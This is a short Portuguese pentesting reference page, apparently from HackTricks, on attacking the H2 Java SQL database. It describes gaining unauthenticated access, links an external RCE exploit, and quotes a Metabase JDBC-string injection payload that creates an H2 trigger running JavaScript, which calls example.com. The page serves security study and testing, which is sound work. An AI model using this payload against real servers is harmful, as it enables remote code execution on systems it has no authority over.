37 lines
1.5 KiB
Markdown

# H2 - Banco de dados Java SQL
{{#include ../../banners/hacktricks-training.md}}
Página oficial: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Acesso
Você pode indicar um **nome de banco de dados inexistente** para **criar um novo banco de dados sem credenciais válidas** (**não autenticado**):
![](<../../images/image (131).png>)
Ou se você souber que, por exemplo, um **mysql está em execução** e souber o **nome do banco de dados** e as **credenciais** para esse banco de dados, você pode simplesmente acessá-lo:
![](<../../images/image (201).png>)
_**Truque da caixa Hawk do HTB.**_
## **RCE**
Tendo acesso para se comunicar com o banco de dados H2, verifique este exploit para obter RCE nele: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
## Injeção SQL H2 para RCE
Em [**este post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) um payload é explicado para obter **RCE via um banco de dados H2** abusando de uma **Injeção SQL**.
```json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
```
{{#include ../../banners/hacktricks-training.md}}